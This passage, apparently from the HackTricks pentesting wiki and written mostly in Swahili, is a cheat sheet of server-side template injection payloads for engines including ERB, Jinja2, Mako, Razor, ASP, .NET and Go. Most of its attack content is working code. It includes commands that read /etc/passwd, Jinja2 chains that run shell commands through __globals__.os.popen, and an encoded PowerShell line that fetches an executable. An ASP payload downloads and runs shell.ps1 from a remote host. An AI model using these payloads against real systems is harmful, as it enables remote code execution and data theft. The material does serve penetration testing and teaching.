NodeJS Nyingine
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Maelezo zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Taarifa zaidi
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Taarifa zaidi
Ruby nyingine
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Maelezo zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Angalia ukurasa ufuatao ili ujifunze mbinu kuhusu arbitrary command execution bypassing sandboxes in python:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Taarifa zaidi
Jinja2 (Python)
Jinja2 ni injini ya templeti yenye sifa kamili kwa Python. Ina msaada kamili wa Unicode, chaguo la mazingira ya utekelezaji yaliyolindwa (sandbox) yanayoweza kuingizwa, inatumiwa sana na ina leseni ya BSD.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Muundo wa kiolezo
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE sio kutegemea __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Maelezo zaidi kuhusu jinsi ya kumtumia vibaya Jinja:
Payloads nyingine katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Taarifa zaidi
Other Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Taarifa zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Njia ya .NET System.Diagnostics.Process.Start inaweza kutumika kuanzisha mchakato wowote kwenye server na hivyo kuunda webshell. Mfano wa webapp iliyo hatarini unaweza kupatikana katika https://github.com/cnotin/RazorVulnerableApp
Taarifa zaidi
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Taarifa Zaidi
.Net Kuondokana na vikwazo
Mekanismo za .NET Reflection zinaweza kutumika kupita blacklisting au wakati classes hazipo kwenye assembly. DLL’s zinaweza kupakiwa wakati wa runtime na methods na properties zikifikiwa kutoka kwa basic objects.
DLL’s zinaweza kupakiwa kwa kutumia:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- from filesystem.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- directly from request.
Utekelezaji kamili wa amri:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Maelezo zaidi
Mojolicious (Perl)
Hata ikiwa ni Perl, hutumia tagi kama ERB katika Ruby.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Katika Go’s template engine, uthibitisho wa matumizi yake unaweza kufanywa kwa payloads maalum:
{{ . }}: Inaonyesha muundo wa data uliopitishwa. Kwa mfano, ikiwa object yenye attribute yaPasswordimepelekwa,{{ .Password }}inaweza kuifunua.{{printf "%s" "ssti" }}: Inatarajiwa kuonyesha string “ssti”.{{html "ssti"}},{{js "ssti"}}: Payloads hizi zinapaswa kurudisha “ssti” bila kuongeza “html” au “js”. Maelekezo zaidi yanaweza kuchunguzwa kwenye nyaraka za Go here.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
Kwa package ya text/template, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, package ya html/template huencode response ili kuzuia hili (mf., {{"<script>alert(1)</script>"}} inatoa <script>alert(1)</script>). Hata hivyo, ufafanuzi wa template na utumaji wake katika Go unaweza kupitisha encoding hii: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Copy code
RCE Exploitation
RCE exploitation inatofautiana sana kati ya html/template na text/template. Module ya text/template inaruhusu kuita function yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), jambo ambalo haliruhusiwi katika html/template. Nyaraka za module hizi zinapatikana here for html/template na here for text/template.
Kwa RCE kupitia SSTI katika Go, methods za object zinaweza kuitwa. Kwa mfano, ikiwa object iliyotolewa ina method System inayotekeleza amri, inaweza kutumiwa kama {{ .System "ls" }}. Kuingia kwenye source code kwa kawaida ni muhimu ili kutekeleza hili, kama katika mfano uliotolewa:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Taarifa zaidi
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Preprocessor)
LESS ni pre-processor maarufu wa CSS ambayo inaongeza variables, mixins, functions na directive yenye nguvu @import. Wakati wa compilation, injini ya LESS itafetch rasilimali zilizorejelewa katika statements za @import na ku-embed (“inline”) yaliyomo ndani ya CSS itokanayo pale chaguo la (inline) linapotumika.
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
Zaidi ya Exploits
Angalia yaliyobaki kwenye https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kwa exploits zaidi. Pia unaweza kupata taarifa za tags zenye kuvutia katika https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Msaada unaohusiana
Ikiwa unadhani inaweza kuwa muhimu, soma:
Zana
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Detection List
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Marejeo
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)
- XWiki advisory –
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


